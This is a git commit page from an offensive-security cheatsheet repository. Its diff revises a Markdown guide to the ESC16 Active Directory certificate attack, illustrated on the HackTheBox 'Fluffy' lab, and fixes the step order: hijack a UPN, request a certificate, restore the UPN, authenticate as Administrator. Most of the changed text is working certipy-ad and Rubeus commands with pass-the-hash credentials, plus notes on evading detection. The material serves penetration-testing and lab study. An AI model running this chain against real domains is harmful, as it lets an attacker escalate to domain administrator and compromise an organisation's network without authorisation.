daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit ee04540e21f550713f99d8551d5ef5c01b7aaaf5
parent 1e70f0a36f0e844b00e4b3b26813f0225ec38763
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Mon, 14 Sep 2026 05:55:51 +0100

feat: small update

Commit-Date: 2026-09-14T05:55:51+01:00
Commit-Host: omarchy

Diffstat:
Msrc/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md | 24++++++++++++++++--------
1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md b/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md @@ -143,7 +143,7 @@ The attack is a **4-step chain**: read + hijack the UPN → request the cert as > > **When one account is enough:** if a single account can *both* enroll *and* have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have `GenericWrite` over that also enrolls), use it for every step and the `-u` is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a *different* principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc. > -> **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. And the restore itself is optional for *success*: `administrator.pfx` is valid forever regardless (see Step 3). Restore only for cleanup and to shrink the rapid-4738 detection window. +> **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. The **restore in Step 3 is not optional**, though: `certipy auth` fails with `KDC_ERR_CLIENT_NAME_MISMATCH` until the controlled account stops squatting the victim's UPN (see Step 3). The `.pfx` stays valid regardless; the *auth* does not work until you restore. *** @@ -163,8 +163,8 @@ certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af48 -dc-ip $TARGET -user ca_svc -upn administrator update ``` -> [!warning] Do Step 2 immediately -> The UPN swap is a live AD change. Request the cert right away, then restore in Step 3 to avoid breaking `ca_svc` auth or tripping detection. +> [!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4 +> The UPN swap is a live AD change. Request the cert right away, then **restore in Step 3 before you authenticate** — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking `ca_svc` auth and shrinks the detection window. *** @@ -180,15 +180,19 @@ certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \ *** -### Step 3 — Restore the UPN (clean up / avoid breaking auth) +### Step 3 — Restore the UPN — REQUIRED before you authenticate ```bash certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ -dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update ``` -> [!tip] The cert stays valid -> Restoring the UPN does **not** invalidate `administrator.pfx` — the identity is locked in at signing time. You keep a working admin cert. +> [!danger] This is not just cleanup — Step 4 FAILS without it +> While `ca_svc` still holds `userPrincipalName = administrator`, the cert's UPN `administrator` maps **to ca_svc**, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with: +> ``` +> [-] Name mismatch between certificate and user 'administrator' +> ``` +> which is the KDC returning `KDC_ERR_CLIENT_NAME_MISMATCH`. **Restore the UPN first**, so nothing else claims `administrator`; the KDC then falls back to the built-in Administrator's `sAMAccountName` and the auth maps correctly. The `.pfx` itself never expires from this — restoring does **not** invalidate it (identity is locked in at signing) — but the *authentication* will keep failing until you restore. Order is fixed: swap → req → **restore** → auth. *** @@ -305,7 +309,11 @@ certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn # 3. Enroll as EVILPC$ in a template it can enroll in certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User -# 4. Auth +# 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim) +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update +# (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete) + +# 5. Auth certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC ``` @@ -362,7 +370,7 @@ Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> / │ │ certipy account -user ca_svc -upn ca_svc@fluffy.htb update ▼ -[UPN restored — clean] ← cert still valid forever +[UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever │ │ certipy auth -pfx administrator.pfx ▼